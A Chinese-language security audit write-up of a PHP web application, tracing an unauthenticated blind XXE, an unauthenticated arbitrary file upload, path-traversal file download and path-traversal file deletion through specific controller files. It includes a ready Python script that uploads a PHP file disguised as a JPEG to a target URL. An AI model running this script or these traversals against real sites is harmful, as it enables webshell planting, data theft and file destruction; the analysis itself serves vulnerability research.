全局搜索解析xml的函数: simplexml_load_string(),发现只有Wchat控制器里有调用。
继续找到函数位置:app/wchat/controller/Wchat.php.
函数具体属于public方法getMessage,而且可以看到获取php://input的输入之后,没有添加相应的解析限制,直接调用函数进行解析,这样就造成了XXE漏洞。
因为属于public方法,可以直接未授权直接调用这个方法:
之后尝试构造payload:
因为是XXE盲注,可以使用带外通道回显的方式。
系统前台的文件上传功能点处未对上传文件进行有效的检查,造成任意文件上传。
首先全局搜索文件上传的函数move()函数:
在admin下的文件上传功能点因为继承自管理员的common类,需要校验是否为管理员,所以,无法直接利用。但是最后一处属于前台文件上传功能点,可以直接利用,文件位置:/app/user/controller/UpFiles.php
UpFiles类继承自user的common类,是不需要登录,可以直接访问的:
之后来分析这个方法关于文件上传的功能:
首先获取上传的文件存入$file变量,之后通过validata()方法进行规则设置:
但是此处为进行任何传参,所以返回的validate数组为空。然后进入move函数:
利用isValid函数和check函数进行校验,分别跟进这两个函数:
之后通过check函数校验,没有传递任何参数:
此处进行多项校验,主要关注扩展名校验即可。首先明白$rule数组的来源,要么通过传参,要么来自之前validate函数的设置,因为之前没有设置,且没有传参,所以此处$rule变量为空。
在扩展名校验处isset($rule[‘ext’])为false,而checkExt函数返回值为false,逻辑运算之后为false,通过检测:
从而可以进行任意文件上传。
漏洞利用脚本:
#coding:utf-8
import requests
import re
def uploads(url):
path="/index.php/user/UpFiles/upload"
url=url+path
files={"file":("poc.php",open("./poc.php","rb"),"image/jpeg")}
headers={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",
"X-Requested-With":"XMLHttpRequest",
}
response=requests.post(url=url,headers=headers,files=files)
print(response.content.decode())
def check(): #漏洞检测函数
return True
if __name__=="__main__":
webUrl=input("请输入目标网址:")
if check():
uploads(webUrl)
else:
print("check False!")
注意需要使用ajax方式提交,所以需要添加请求头。
全局搜索一下下载两个字,发现只有一处是有用的。文件位置:/app/admin/controller/Database.php
进入文件查看:代码203行到228行
可以看到前台通过获取$file和$type两个变量,其中$type要为zip或者sql,之后通过type类型获取文件存储地址,拼接路径进行文件读取。此处存在问题,没有禁止目录穿越,当根据type获取文件路径之后,$file变量可以进行目录穿越,下载其他位置的文件。
可以看到正常情况下是上面这种情况。
接下来进行目录穿越读取数据库配置文件:
全局存在多处任意文件删除,可以通过搜索unlink函数来进行定位:
第一处:/app/admin/controller/DataBase.php
第236行遍历变量然后执行删除操作。
在第228行,可以通过sqlfilename获取要删除的文件名,同样存在的问题是没有进行目录穿越的现在,可以通过目录穿越删除其他文件。
此时robots.txt文件已经被删除。